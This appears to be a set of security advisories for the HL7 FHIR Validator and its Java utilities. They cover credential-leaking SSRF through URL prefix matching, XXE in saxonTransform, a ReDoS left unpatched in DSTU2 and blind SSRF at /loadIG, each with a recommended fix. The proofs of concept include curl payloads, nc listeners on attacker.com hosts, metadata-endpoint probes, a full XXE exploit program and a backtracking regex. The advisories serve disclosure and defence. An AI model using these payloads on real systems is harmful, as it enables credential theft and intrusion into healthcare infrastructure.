Summary
The FHIR Validator HTTP service exposes an unauthenticated /loadIG endpoint that makes outbound HTTP requests to attacker-controlled URLs. Combined with a startsWith() URL prefix matching flaw in the credential provider (ManagedWebAccessUtils.getServer()), an attacker can steal authentication tokens (Bearer, Basic, API keys) configured for legitimate FHIR servers by registering a domain that prefix-matches a configured server URL.
Details
Step 1 — SSRF Entry Point (LoadIGHTTPHandler.java:35-43):
The /loadIG endpoint accepts unauthenticated POST requests with a JSON body containing an ig field. The value is passed directly to IgLoader.loadIg() with no URL validation or allowlisting. When the value is an HTTP(S) URL, IgLoader.fetchFromUrlSpecific() makes an outbound GET request via ManagedWebAccess.get():
java // LoadIGHTTPHandler.java:43 engine.getIgLoader().loadIg(engine.getIgs(), engine.getBinaries(), igContent, true);
// IgLoader.java:437 (fetchFromUrlSpecific) HTTPResult res = ManagedWebAccess.get(Arrays.asList("web"), source + "?nocache=" + System.currentTimeMillis());
Step 2 — Credential Leak via Prefix Matching (ManagedWebAccessUtils.java:14):
When ManagedWebAccess creates a SimpleHTTPClient, it attaches an authProvider that uses startsWith() to determine whether credentials should be sent:
java // ManagedWebAccessUtils.java:14 if (url.startsWith(serverDetails.getUrl()) && typesMatch(serverType, serverDetails.getType())) { return serverDetails; }
If the server has https://packages.fhir.org configured with a Bearer token, a request to https://packages.fhir.org.attacker.com/... matches the prefix, and the token is attached to the request to the attacker's domain.
Step 3 — Redirect Amplification (SimpleHTTPClient.java:84-99,111-118):
SimpleHTTPClient manually follows redirects with setInstanceFollowRedirects(false). On each redirect hop, getHttpGetConnection() calls setHeaders() which re-evaluates authProvider.canProvideHeaders(url) against the new URL. This means even an indirect redirect path can trigger credential leakage.
PoC
Prerequisites: A FHIR Validator HTTP server running with fhir-settings.json containing: json { "servers": [{ "url": "https://packages.fhir.org", "authenticationType": "token", "token": "ghpSecretTokenForFHIRRegistry123" }] }
Step 1: Set up attacker credential capture server: bash On attacker machine, listen for incoming requests nc -lp 80 > /tmp/capturedrequest.txt & Register DNS: packages.fhir.org.attacker.com -> attacker IP
Step 2: Trigger the SSRF with prefix-matching URL: bash curl -X POST http://target-validator:8080/loadIG \ -H "Content-Type: application/json" \ -d '{"ig": "https://packages.fhir.org.attacker.com/malicious-ig"}'
Step 3: Verify credential capture: bash cat /tmp/capturedrequest.txt Expected output includes: GET /malicious-ig?nocache=... HTTP/1.1 Authorization: Bearer ghpSecretTokenForFHIRRegistry123 Host: packages.fhir.org.attacker.com
Redirect variant (if direct prefix match isn't possible): bash Attacker server returns: HTTP/1.1 302 Location: https://packages.fhir.org.attacker.com/steal curl -X POST http://target-validator:8080/loadIG \ -H "Content-Type: application/json" \ -d '{"ig": "https://attacker.com/redirect"}'
Impact
- Credential theft: Attacker steals Bearer tokens, Basic auth credentials, or API keys for any configured FHIR server - Supply chain attack: Stolen package registry credentials could be used to publish malicious FHIR packages affecting downstream consumers - Data breach: If credentials grant access to protected FHIR endpoints (e.g., clinical data repositories), patient health records could be exposed - Scope change (S:C): The vulnerability in the validator compromises the security of external systems (FHIR registries, package servers) whose credentials are leaked
Recommended Fix
Fix 1 — Proper URL origin comparison in ManagedWebAccessUtils (ManagedWebAccessUtils.java): java public static ServerDetailsPOJO getServer(Iterable<String> serverTypes, String url, Iterable<ServerDetailsPOJO> serverAuthDetails) { if (serverAuthDetails != null) { for (ServerDetailsPOJO serverDetails : serverAuthDetails) { for (String serverType : serverTypes) { if (urlMatchesOrigin(url, serverDetails.getUrl()) && typesMatch(serverType, serverDetails.getType())) { return serverDetails; } } } } return null; }
private static boolean urlMatchesOrigin(String requestUrl, String serverUrl) { try { URL req = new URL(requestUrl); URL srv = new URL(serverUrl); return req.getProtocol().equals(srv.getProtocol()) && req.getHost().equals(srv.getHost()) && req.getPort() == srv.getPort() && req.getPath().startsWith(srv.getPath()); } catch (MalformedURLException e) { return false; } }
Fix 2 — URL allowlisting in LoadIGHTTPHandler (LoadIGHTTPHandler.java): java // Add allowlist validation before loading private static final Set<String> ALLOWEDHOSTS = Set.of( "packages.fhir.org", "packages2.fhir.org", "build.fhir.org" );
private boolean isAllowedSource(String ig) { try { URL url = new URL(ig); return ALLOWEDHOSTS.contains(url.getHost()); } catch (MalformedURLException e) { return false; // Not a URL, could be a package reference } }
Summary
ManagedWebAccessUtils.getServer() uses String.startsWith() to match request URLs against configured server URLs for authentication credential dispatch. Because configured server URLs (e.g., http://tx.fhir.org) lack a trailing slash or host boundary check, an attacker-controlled domain like http://tx.fhir.org.attacker.com matches the prefix and receives Bearer tokens, Basic auth credentials, or API keys when the HTTP client follows a redirect to that domain.
Details
The root cause is in ManagedWebAccessUtils.getServer() at org.hl7.fhir.utilities/src/main/java/org/hl7/fhir/utilities/http/ManagedWebAccessUtils.java:26:
java public static ServerDetailsPOJO getServer(String url, Iterable<ServerDetailsPOJO> serverAuthDetails) { if (serverAuthDetails != null) { for (ServerDetailsPOJO serverDetails : serverAuthDetails) { if (url.startsWith(serverDetails.getUrl())) { // <-- no host boundary check return serverDetails; } } } return null; }
The configured production terminology server URL is defined without a trailing slash in FhirSettingsPOJO.java:19:
java protected static final String TXSERVERPROD = "http://tx.fhir.org";
This means: - "http://tx.fhir.org.attacker.com/capture".startsWith("http://tx.fhir.org") → true - "http://tx.fhir.org:8080/evil".startsWith("http://tx.fhir.org") → true
Exploit chain via SimpleHTTPClient (redirect path):
1. SimpleHTTPClient.get() (SimpleHTTPClient.java:68-105) makes a request to http://tx.fhir.org/ValueSet/$expand 2. On each redirect, the loop calls getHttpGetConnection(url, accept) (line 84) → setHeaders(connection) (line 117) 3. setHeaders() (line 122-133) calls authProvider.canProvideHeaders(url) and authProvider.getHeaders(url) on the redirect target URL 4. ServerDetailsPOJOHTTPAuthProvider.getServerDetails() (line 83-84) delegates to ManagedWebAccessUtils.getServer(url.toString(), servers) 5. The startsWith() check matches http://tx.fhir.org.attacker.com against http://tx.fhir.org 6. Credentials are dispatched to the attacker's server via ServerDetailsPOJOHTTPAuthProvider.getHeaders() (lines 38-58): - Bearer tokens: Authorization: Bearer {token} - Basic auth: Authorization: Basic {base64(user:pass)} - API keys: Api-Key: {apikey} - Custom headers from server config
Note: An earlier fix (commit 6b615880 "Strip headers on redirect") added an isNotSameHost() check, but this was removed in commit 3871cc69 ("Rework authorization providers in ManagedWebAccess"). The current code on master has no host validation during redirect following.
Exploit chain via ManagedFhirWebAccessor (OkHttp path):
ManagedFhirWebAccessor.httpCall() (line 81-112) sets auth headers via requestWithAuthorizationHeaders() before passing the request to OkHttpClient. OkHttpClient follows redirects by default (up to 20) and carries the pre-set auth headers to all redirect targets. The same startsWith() check in canProvideHeaders() applies.
The same vulnerable pattern also exists in ManagedWebAccess.isLocal() (line 214), where url.startsWith(server.getUrl()) is used to determine whether HTTP (non-TLS) access is allowed, potentially enabling TLS downgrade for attacker-controlled domains that match the prefix.
PoC
Step 1: Verify the prefix match behavior
java // This demonstrates the core vulnerability String configuredUrl = "http://tx.fhir.org"; // FhirSettingsPOJO.TXSERVERPROD String attackerUrl = "http://tx.fhir.org.attacker.com/capture";
System.out.println(attackerUrl.startsWith(configuredUrl)); // Output: true
Step 2: Demonstrate credential dispatch to wrong host
Given a fhir-settings.json configuration at ~/.fhir/fhir-settings.json: json { "servers": [ { "url": "http://tx.fhir.org", "authenticationType": "token", "token": "secret-bearer-token-12345" } ] }
When SimpleHTTPClient.get("http://tx.fhir.org/ValueSet/$expand") follows a 302 redirect to http://tx.fhir.org.attacker.com/capture:
1. setHeaders() is called with the redirect target URL 2. authProvider.canProvideHeaders(new URL("http://tx.fhir.org.attacker.com/capture")) returns true 3. authProvider.getHeaders(...) returns {"Authorization": "Bearer secret-bearer-token-12345"} 4. The Authorization header with the secret token is sent to tx.fhir.org.attacker.com
Step 3: Attacker captures the credential
bash On attacker-controlled server (tx.fhir.org.attacker.com) nc -l -p 80 | head -20 Output includes: GET /capture HTTP/1.1 Host: tx.fhir.org.attacker.com Authorization: Bearer secret-bearer-token-12345
Impact
- Credential theft: Bearer tokens, Basic authentication passwords, API keys, and custom authentication headers configured for FHIR terminology servers can be exfiltrated by an attacker who can inject a redirect (via MITM, compromised CDN, or DNS poisoning). - Impersonation: Stolen credentials allow an attacker to make authenticated requests to the legitimate FHIR server, potentially accessing or modifying clinical terminology data. - Broad exposure: The FHIR Validator is widely used in healthcare IT for validating FHIR resources. Any deployment that configures server authentication in fhir-settings.json and makes outbound HTTP requests to terminology servers is affected. - TLS downgrade: The same startsWith() pattern in ManagedWebAccess.isLocal() could allow an attacker-controlled domain to be treated as "local," bypassing the HTTPS enforcement.
Recommended Fix
Replace the startsWith() check in ManagedWebAccessUtils.getServer() with proper URL host boundary validation:
java public static ServerDetailsPOJO getServer(String url, Iterable<ServerDetailsPOJO> serverAuthDetails) { if (serverAuthDetails != null) { for (ServerDetailsPOJO serverDetails : serverAuthDetails) { if (urlMatchesServer(url, serverDetails.getUrl())) { return serverDetails; } } } return null; }
/ Check if a URL matches a configured server URL with proper host boundary validation. After the configured prefix, the next character must be '/', '?', '#', ':', or end-of-string. / private static boolean urlMatchesServer(String url, String serverUrl) { if (url == null || serverUrl == null) return false; if (!url.startsWith(serverUrl)) return false; if (url.length() == serverUrl.length()) return true; char nextChar = url.charAt(serverUrl.length()); return nextChar == '/' || nextChar == '?' || nextChar == '#' || nextChar == ':'; }
Apply the same fix to ManagedWebAccess.isLocal() at line 214 and the three-argument getServer() overload at line 14.
Additionally, consider re-introducing the host-equality check for redirects in SimpleHTTPClient (as was previously implemented in commit 6b615880 but removed in 3871cc69) to provide defense-in-depth against credential leakage on cross-origin redirects.
Summary
org.hl7.fhir.utilities.XsltUtilities exposes two parallel families of XSLT transform helpers. The transform(...) overloads obtain their TransformerFactory from the project's hardened helper XMLUtil.newXXEProtectedTransformerFactory() (which sets ACCESSEXTERNALDTD="" and ACCESSEXTERNALSTYLESHEET=""). The sibling saxonTransform(...) overloads instead instantiate a bare new net.sf.saxon.TransformerFactoryImpl() with no external-access restriction. A document transformed through any saxonTransform(...) overload is parsed with external general entities and external DTD/parameter entities enabled, so an attacker who controls (or can MITM) the transformed XML obtains XML External Entity injection: local file disclosure and blind XXE / SSRF to arbitrary URLs reachable from the host.
XMLUtil documents that its protected factory "should be the only place where TransformerFactory is instantiated in this project". The saxonTransform overloads violate that contract while their same-file transform siblings honour it.
Affected versions
org.hl7.fhir.utilities (Maven ca.uhn.hapi.fhir:org.hl7.fhir.utilities) <= 6.9.8 (latest release at time of report; verified live on 6.9.8). The bare net.sf.saxon.TransformerFactoryImpl() instantiation is present at XsltUtilities.java:61, :91, and :106.
Privilege required
None at the library boundary. The exposure depends on the calling tool: any FHIR component that runs XsltUtilities.saxonTransform(...) over XML whose source document, embedded DTD, or referenced stylesheet is attacker-influenced (an IG package, a fetched/uploaded resource, a downloaded stylesheet, or a MITM'd HTTP fetch) triggers the XXE. No DOCTYPE/entity stripping occurs before the Saxon parser sees the bytes.
Root cause
org.hl7.fhir.utilities/src/main/java/org/hl7/fhir/utilities/XsltUtilities.java:
java // VULNERABLE — bare factory, no external-access restriction (lines 60-73, 90-99, 105-128) public static byte[] saxonTransform(Map<String, byte[]> files, byte[] source, byte[] xslt) throws TransformerException { TransformerFactory f = new net.sf.saxon.TransformerFactoryImpl(); // <-- bare f.setAttribute("http://saxon.sf.net/feature/version-warning", Boolean.FALSE); StreamSource xsrc = new StreamSource(new ByteArrayInputStream(xslt)); f.setURIResolver(new ZipURIResolver(files)); Transformer t = f.newTransformer(xsrc); ... } public static String saxonTransform(String source, String xslt) throws TransformerException, IOException { TransformerFactoryImpl f = new net.sf.saxon.TransformerFactoryImpl(); // <-- bare ... }
// HARDENED SIBLING (same file, lines 75-88 / 130-149) — negative control public static byte[] transform(Map<String, byte[]> files, byte[] source, byte[] xslt) throws TransformerException { TransformerFactory f = org.hl7.fhir.utilities.xml.XMLUtil.newXXEProtectedTransformerFactory(); // <-- hardened ... }
The hardened helper (XMLUtil.newXXEProtectedTransformerFactory()) is:
java public static TransformerFactory newXXEProtectedTransformerFactory() { final TransformerFactory transformerFactory = TransformerFactory.newInstance(); transformerFactory.setAttribute(XMLConstants.ACCESSEXTERNALDTD, ""); transformerFactory.setAttribute(XMLConstants.ACCESSEXTERNALSTYLESHEET, ""); return transformerFactory; }
The saxonTransform overloads never call this helper and never set the two ACCESSEXTERNAL attributes, so the underlying parser resolves external general entities (<!ENTITY x SYSTEM "file:///...">) and external DTD/parameter entities (<!ENTITY % p SYSTEM "http://attacker/">). This is a classic CWE-611. The asymmetry — one family hardened, the co-located sibling family bare — is the bug: the protection that already exists in the same class was not extended to the saxonTransform variants.
Reproduction (E2E against published Maven Central org.hl7.fhir.utilities:6.9.8)
A self-contained Maven project. pom.xml pulls the latest released artifact, which transitively brings net.sf.saxon:Saxon-HE:11.6.
pom.xml:
xml <project xmlns="http://maven.apache.org/POM/4.0.0"> <modelVersion>4.0.0</modelVersion> <groupId>poc</groupId><artifactId>fhir-xslt-xxe-poc</artifactId><version>1.0</version> <properties> <maven.compiler.source>17</maven.compiler.source> <maven.compiler.target>17</maven.compiler.target> </properties> <dependencies> <dependency> <groupId>ca.uhn.hapi.fhir</groupId> <artifactId>org.hl7.fhir.utilities</artifactId> <version>6.9.8</version> </dependency> </dependencies> </project>
src/main/java/Poc.java:
java import org.hl7.fhir.utilities.XsltUtilities; import java.io.; import java.net.; import java.nio.charset.StandardCharsets; import java.nio.file.; import java.util.;
public class Poc { static final String CANARYMARK = "TOP-SECRET-FHIR-XSLT-CANARY-3f9a17c2"; // identity stylesheet: copies the resolved //data text into the output static final String IDENTITYXSLT = "<?xml version=\"1.0\"?>\n" + "<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">\n" + " <xsl:output method=\"text\"/>\n" + " <xsl:template match=\"/\"><xsl:value-of select=\"//data\"/></xsl:template>\n" + "</xsl:stylesheet>\n";
public static void main(String[] args) throws Exception { Path secret = Files.createTempFile("fhir-secret-", ".txt"); Files.writeString(secret, CANARYMARK + " :: " + UUID.randomUUID());
final List<String> oobHits = Collections.synchronizedList(new ArrayList<>()); ServerSocket sentinel = new ServerSocket(0); int oobPort = sentinel.getLocalPort(); Thread st = new Thread(() -> { try { while (!sentinel.isClosed()) { Socket s = sentinel.accept(); BufferedReader r = new BufferedReader(new InputStreamReader(s.getInputStream(), StandardCharsets.UTF8)); String line = r.readLine(); if (line != null) { oobHits.add(line); System.out.println("[SENTINEL] inbound connection: " + line); } byte[] body = "<!-- ok -->".getBytes(StandardCharsets.UTF8); // well-formed empty external DTD OutputStream os = s.getOutputStream(); os.write(("HTTP/1.1 200 OK\r\nContent-Type: application/xml-dtd\r\nContent-Length: " + body.length + "\r\n\r\n").getBytes()); os.write(body); os.flush(); s.close(); } } catch (IOException ignored) {} }); st.setDaemon(true); st.start();
// A1: external general entity -> local secret (file read) // A2: external parameter entity -> attacker URL (blind XXE / SSRF) String maliciousSource = "<?xml version=\"1.0\"?>\n" + "<!DOCTYPE root [\n" + " <!ENTITY canary SYSTEM \"" + secret.toUri() + "\">\n" + " <!ENTITY % oob SYSTEM \"http://127.0.0.1:" + oobPort + "/evil-fhir-xslt-ssrf.dtd\">\n" + " %oob;\n" + "]>\n" + "<root><data>&canary;</data></root>\n"; Path srcFile = Files.createTempFile("fhir-malicious-src-", ".xml"); Files.writeString(srcFile, maliciousSource); Path xsltFile = Files.createTempFile("fhir-identity-", ".xslt"); Files.writeString(xsltFile, IDENTITYXSLT);
System.out.println("=== Target: org.hl7.fhir.utilities:6.9.8 (XsltUtilities) on JDK " + System.getProperty("java.version") + " ==="); System.out.println("=== Saxon: " + saxonVersion() + " ==="); System.out.println("Secret file: " + secret + " (contains " + CANARYMARK + ")"); System.out.println("OOB sentinel: http://127.0.0.1:" + oobPort + "/\n");
System.out.println("---- ATTACK: XsltUtilities.saxonTransform(source, xslt) [BARE TransformerFactoryImpl] ----"); try { String out = XsltUtilities.saxonTransform(srcFile.toString(), xsltFile.toString()); System.out.println("transform output: [" + out.trim() + "]"); System.out.println(out.contains(CANARYMARK) ? ">>> XXE CONFIRMED: canary leaked into XSLT output via external entity <<<" : ">>> canary NOT in output <<<"); } catch (Exception e) { System.out.println("saxonTransform threw: " + e); } Thread.sleep(400); System.out.println("OOB sentinel hits after BARE call: " + oobHits + "\n");
// Direct factory comparison (isolates the hardening difference) System.out.println("---- DIRECT FACTORY COMPARISON (same malicious source, identity XSLT) ----"); int b = oobHits.size(); System.out.println("[bare new TransformerFactoryImpl()]"); runDirect(new net.sf.saxon.TransformerFactoryImpl(), srcFile, xsltFile, oobHits, b); int b2 = oobHits.size(); System.out.println("[hardened XMLUtil.newXXEProtectedTransformerFactory()]"); runDirect(org.hl7.fhir.utilities.xml.XMLUtil.newXXEProtectedTransformerFactory(), srcFile, xsltFile, oobHits, b2); sentinel.close(); }
static void runDirect(javax.xml.transform.TransformerFactory f, Path srcFile, Path xsltFile, List<String> oobHits, int before) throws Exception { try { javax.xml.transform.Transformer t = f.newTransformer(new javax.xml.transform.stream.StreamSource(Files.newInputStream(xsltFile))); ByteArrayOutputStream out = new ByteArrayOutputStream(); t.transform(new javax.xml.transform.stream.StreamSource(Files.newInputStream(srcFile)), new javax.xml.transform.stream.StreamResult(out)); String s = out.toString(StandardCharsets.UTF8).trim(); System.out.println(" output: [" + s + "]"); System.out.println(" canary leaked: " + s.contains(CANARYMARK)); } catch (Exception e) { System.out.println(" threw: " + e.getClass().getName() + ": " + String.valueOf(e.getMessage()).replaceAll("[\\u4e00-\\u9fff]", "?")); } Thread.sleep(300); System.out.println(" OOB sentinel hits from this call: " + (oobHits.size() - before)); }
static String saxonVersion() { try { return (String) Class.forName("net.sf.saxon.Version").getMethod("getProductVersion").invoke(null); } catch (Throwable t) { return "unknown"; } } }
Run + verbatim captured output (JDK 17.0.18, Saxon-HE 11.6; CJK in the hardened-path SAXParseException replaced with ? by the harness for ASCII display, the message text is accessExternalDTD ... restriction ... 'http' access not allowed):
$ mvn -q compile && mvn -q exec:java -Dexec.mainClass=Poc === Target: org.hl7.fhir.utilities:6.9.8 (XsltUtilities) on JDK 17.0.18 === === Saxon: 11.6 === Secret file: /var/folders/.../fhir-secret-467000002121832365.txt (contains TOP-SECRET-FHIR-XSLT-CANARY-3f9a17c2) OOB sentinel: http://127.0.0.1:62466/
---- ATTACK: XsltUtilities.saxonTransform(source, xslt) [BARE TransformerFactoryImpl] ---- [SENTINEL] inbound connection: GET /evil-fhir-xslt-ssrf.dtd HTTP/1.1 transform output: [TOP-SECRET-FHIR-XSLT-CANARY-3f9a17c2 :: 4e3c33aa-4db1-4f22-880f-6666fedd9da4] >> XXE CONFIRMED: canary leaked into XSLT output via external entity <<< OOB sentinel hits after BARE call: [GET /evil-fhir-xslt-ssrf.dtd HTTP/1.1]
---- DIRECT FACTORY COMPARISON (same malicious source, identity XSLT) ---- [bare new TransformerFactoryImpl()] [SENTINEL] inbound connection: GET /evil-fhir-xslt-ssrf.dtd HTTP/1.1 output: [TOP-SECRET-FHIR-XSLT-CANARY-3f9a17c2 :: 4e3c33aa-4db1-4f22-880f-6666fedd9da4] canary leaked: true OOB sentinel hits from this call: 1 [hardened XMLUtil.newXXEProtectedTransformerFactory()] threw: net.sf.saxon.trans.XPathException: org.xml.sax.SAXParseException; lineNumber: 5; columnNumber: 8; ????: ???????? 'evil-fhir-xslt-ssrf.dtd', ?? accessExternalDTD ???????????? 'http' ??. OOB sentinel hits from this call: 0
Interpretation of the verbatim output:
- Bare path (saxonTransform and bare TransformerFactoryImpl): the local secret file content (TOP-SECRET-FHIR-XSLT-CANARY-3f9a17c2 :: ...) is leaked into the transform output (file disclosure), and the OOB sentinel receives GET /evil-fhir-xslt-ssrf.dtd HTTP/1.1 (blind XXE / SSRF). canary leaked: true, OOB hits = 1. - Hardened path (XMLUtil.newXXEProtectedTransformerFactory()): parsing the same malicious source throws an accessExternalDTD ... 'http' access not allowed SAXParseException and the OOB sentinel receives 0 hits. The only difference between the two runs is the factory: the existing project helper blocks the attack, the bare sibling does not.
Impact
- Local file disclosure: any file readable by the JVM process is exfiltrated into the transform output (demonstrated above with a canary secret file). - Blind XXE / SSRF: external parameter/DTD entities cause the host to issue attacker-directed HTTP(S) requests (demonstrated by the sentinel hit), enabling internal-network probing and cloud metadata access from the host's network position. - The saxonTransform overloads are part of the public org.hl7.fhir.utilities API consumed across the FHIR Java tooling (IG-publisher / validation / conversion utilities); any consumer that routes attacker-influenced or MITM-able XML through them inherits the XXE.
Suggested fix
Route the saxonTransform overloads through the same protection the transform siblings already use. Because these overloads specifically need the Saxon implementation, obtain a Saxon factory and apply the two ACCESSEXTERNAL restrictions (mirroring XMLUtil.newXXEProtectedTransformerFactory()), e.g. a small helper in XMLUtil:
java @SuppressWarnings("checkstyle:transformerFactoryNewInstance") public static TransformerFactory newXXEProtectedSaxonTransformerFactory() { final TransformerFactory f = new net.sf.saxon.TransformerFactoryImpl(); f.setAttribute(XMLConstants.ACCESSEXTERNALDTD, ""); f.setAttribute(XMLConstants.ACCESSEXTERNALSTYLESHEET, ""); return f; }
and replace each new net.sf.saxon.TransformerFactoryImpl() in XsltUtilities.saxonTransform(...) (lines 61, 91, 106) with a call to it. This mirrors the existing newXXEProtected convention and the class-level mandate that the protected factory "should be the only place where TransformerFactory is instantiated in this project". A regression test that runs a DOCTYPE-bearing source through saxonTransform and asserts the external entity is NOT resolved should accompany the change.
Credit
Reported by tonghuaroot.
Summary The fix for CVE-2026-45367 added RegexTimeout protection to the matches() function in DSTU2016MAY, DSTU3, R4, R4B, and R5, but the DSTU2 module was incompletely patched. In org.hl7.fhir.dstu2, replaceMatches() was updated while matches() at line 2462 still calls the raw String.matches(sw) without any timeout, allowing an unauthenticated attacker to trigger catastrophic regex backtracking and exhaust server CPU.
Details Incomplete patch
Within the same file (org.hl7.fhir.dstu2/utils/FHIRPathEngine.java), the two functions were patched inconsistently:
Line 2226 — replaceMatches() — PATCHED: java result.add(new StringType( RegexTimeout.replaceAll( convertToString(focus.get(0)), regex, repl, regexTimeoutMillis)));
Line 2462 — matches() — NOT PATCHED: java result.add(new BooleanType( convertToString(focus.get(0)).matches(sw))); // ↑ raw String.matches() — no RegexTimeout, no complexity check
DSTU3 line 2447 — matches() — PATCHED (for comparison): java result.add(new BooleanType( RegexTimeout.matches(st, sw, regexTimeoutMillis)));
Module-by-module status
| Module | matches() | replaceMatches() | |---|---|---| | DSTU2 | ❌ raw str.matches(sw) | ✅ RegexTimeout.replaceAll() | | DSTU2016MAY | ✅ RegexTimeout.matches() | ✅ | | DSTU3 | ✅ RegexTimeout.matches() | ✅ | | R4 | ✅ RegexTimeout.matches() | ✅ | | R4B | ✅ RegexTimeout.matches() | ✅ | | R5 | ✅ RegexTimeout.matches() | ✅ |
PoC Requirements: Java 17+, Maven 3.8+
pom.xml dependencies: xml <dependency> <groupId>ca.uhn.hapi.fhir</groupId> <artifactId>org.hl7.fhir.utilities</artifactId> <version>6.9.7</version> </dependency>
Test code (reproduces the exact behaviour of DSTU2 line 2462): java import org.hl7.fhir.utilities.regex.RegexTimeout; import java.util.concurrent.;
String regex = "((a|b){0,5}){20}"; String input = "a".repeat(25) + "c"; // no match → full backtracking
// ① Patched approach — RegexTimeout terminates at 500 ms long t1 = System.currentTimeMillis(); try { RegexTimeout.matches(input, regex, 500); } catch (TimeoutException e) { System.out.println("RegexTimeout blocked in " + (System.currentTimeMillis() - t1) + " ms"); }
// ② DSTU2 line 2462 — raw String.matches(), no timeout long t2 = System.currentTimeMillis(); input.matches(regex); // equivalent to what FHIRPathEngine does System.out.println("str.matches() ran for " + (System.currentTimeMillis() - t2) + " ms with no timeout");
Verified output (JDK 25.0.3, Linux): RegexTimeout blocked in 508 ms ← patched modules: attack stopped str.matches() ran for 1410 ms ← DSTU2: no timeout, CPU exhausted
The patched approach cuts off the evaluation at 508 ms. The unpatched DSTU2 code runs for 1410 ms on this input with no mechanism to stop it. Longer inputs or more complex patterns produce proportionally worse results.
Impact Vulnerability type: Regular Expression Denial of Service (ReDoS) causing CPU exhaustion and service disruption.
Who is impacted: Any application using the ca.uhn.hapi.fhir:org.hl7.fhir.dstu2 module that evaluates user-supplied FHIRPath expressions — including the FHIR Validator HTTP endpoint, FHIR servers applying FHIRPath invariants from user-provided resources or profiles, and any system embedding FHIRPathEngine from the DSTU2 module. No authentication is required; an attacker needs only to submit a FHIR resource or FHIRPath expression whose matches() argument contains a catastrophically backtracking regular expression.
Summary
The /loadIG HTTP endpoint in the FHIR Validator HTTP service accepts a user-supplied URL via JSON body and makes server-side HTTP requests to it without any hostname, scheme, or domain validation. An unauthenticated attacker with network access to the validator can probe internal network services, cloud metadata endpoints, and map network topology through error-based information leakage. With explore=true (the default for this code path), each request triggers multiple outbound HTTP calls, amplifying reconnaissance capability.
Details
Root cause chain:
1. LoadIGHTTPHandler.handle() reads the ig field from user-supplied JSON and passes it directly to IgLoader.loadIg() with no validation:
java // LoadIGHTTPHandler.java:35,43 String ig = wrapper.asString("ig"); engine.getIgLoader().loadIg(engine.getIgs(), engine.getBinaries(), ig, false);
2. loadIg() calls loadIgSource(srcPackage, recursive, true) with explore=true (IgLoader.java:153).
3. loadIgSource() checks Common.isNetworkPath(src) which only verifies the URL starts with http: or https: — no host/IP validation (Common.java:14-16).
4. The URL reaches ManagedWebAccess.get() which calls inAllowedPaths(). This check is a no-op by default because allowedDomains is initialized as an empty list, and the code explicitly returns true when empty:
java // ManagedWebAccess.java:104-106 static boolean inAllowedPaths(String pathname) { if (allowedDomains.isEmpty()) { return true; // DEFAULT: all domains allowed } // ... }
The source code has a //TODO get this from fhir settings comment (line 82) confirming this is an incomplete security control.
5. SimpleHTTPClient.get() makes the HTTP request and follows 301/302/307/308 redirects up to 5 times. Redirect targets are NOT re-validated against inAllowedPaths():
java // SimpleHTTPClient.java:88-99 case HttpURLConnection.HTTPMOVEDPERM, HttpURLConnection.HTTPMOVEDTEMP, 307, 308: String location = connection.getHeaderField("Location"); url = new URL(originalUrl, location); // No domain re-validation continue;
6. The server binds to all interfaces with no authentication (FhirValidatorHttpService.java:31):
java server = HttpServer.create(new InetSocketAddress(port), 0);
7. Errors propagate back to the attacker with exception details:
java // LoadIGHTTPHandler.java:49 sendOperationOutcome(exchange, 500, OperationOutcomeUtilities.createError("Failed to load IG: " + e.getMessage()), ...);
Redirect bypass: Even if allowedDomains were configured, the domain check in ManagedWebAccessor.setupSimpleHTTPClient() (line 31) only validates the initial URL. An attacker can host a redirect on an allowed domain that points to an internal target.
PoC
1. Start the FHIR Validator in HTTP server mode: bash java -jar validatorcli.jar -server -port 8080
2. Probe a cloud metadata endpoint: bash curl -X POST http://<validator-host>:8080/loadIG \ -H "Content-Type: application/json" \ -d '{"ig": "http://169.254.169.254/latest/meta-data/"}'
Expected: The validator makes a GET request to the AWS metadata service from its own network position. The error response reveals whether the endpoint is reachable (e.g., connection refused vs. parse error on HTML content).
3. Port scan an internal host: bash Open port — returns quickly with a parse error (content received but not valid FHIR) curl -X POST http://<validator-host>:8080/loadIG \ -H "Content-Type: application/json" \ -d '{"ig": "http://10.0.0.1:8080/"}'
Closed port — returns with "Connection refused" curl -X POST http://<validator-host>:8080/loadIG \ -H "Content-Type: application/json" \ -d '{"ig": "http://10.0.0.1:9999/"}'
4. Redirect bypass (if allowedDomains were configured): bash Attacker hosts redirect: http://allowed-domain.com/redir → http://127.0.0.1:8080/admin curl -X POST http://<validator-host>:8080/loadIG \ -H "Content-Type: application/json" \ -d '{"ig": "http://allowed-domain.com/redir"}'
The validator follows the redirect to the internal target without re-checking the domain allowlist.
Impact
An unauthenticated attacker with network access to the FHIR Validator HTTP service can:
- Probe internal network services — differentiate open/closed ports and reachable/unreachable hosts via error message analysis (connection refused vs. timeout vs. content parse errors) - Access cloud metadata endpoints — reach AWS/GCP/Azure instance metadata services (169.254.169.254) from the validator's network position - Map internal network topology — systematically enumerate internal hosts and services - Bypass domain restrictions via redirects — even if allowedDomains is configured, redirect following does not re-validate targets - Amplify reconnaissance — each /loadIG call with explore=true generates multiple outbound requests (package.tgz, JSON, XML variants)
This is a blind SSRF — the fetched content is not directly returned. Impact is limited to network probing and error-based information leakage rather than full content exfiltration.
Recommended Fix
1. Add URL validation in LoadIGHTTPHandler before passing to loadIg() — reject private/internal IP ranges and non-standard ports:
java // LoadIGHTTPHandler.java — add before line 43 if (Common.isNetworkPath(ig)) { URL url = new URL(ig); InetAddress addr = InetAddress.getByName(url.getHost()); if (addr.isLoopbackAddress() || addr.isLinkLocalAddress() || addr.isSiteLocalAddress() || addr.isAnyLocalAddress()) { sendOperationOutcome(exchange, 400, OperationOutcomeUtilities.createError("URL targets a private/internal address"), getAcceptHeader(exchange)); return; } }
2. Re-validate redirect targets in SimpleHTTPClient.get() — check inAllowedPaths() for each redirect URL:
java // SimpleHTTPClient.java — inside the redirect case (after line 98) url = new URL(originalUrl, location); if (!ManagedWebAccess.inAllowedPaths(url.toString())) { throw new IOException("Redirect target '" + url + "' is not in allowed domains"); }
3. Configure allowedDomains by default to restrict outbound requests to known FHIR registries (e.g., packages.fhir.org, hl7.org), or require explicit opt-in for open access.
4. Add authentication to the HTTP service, at minimum for state-changing endpoints like /loadIG.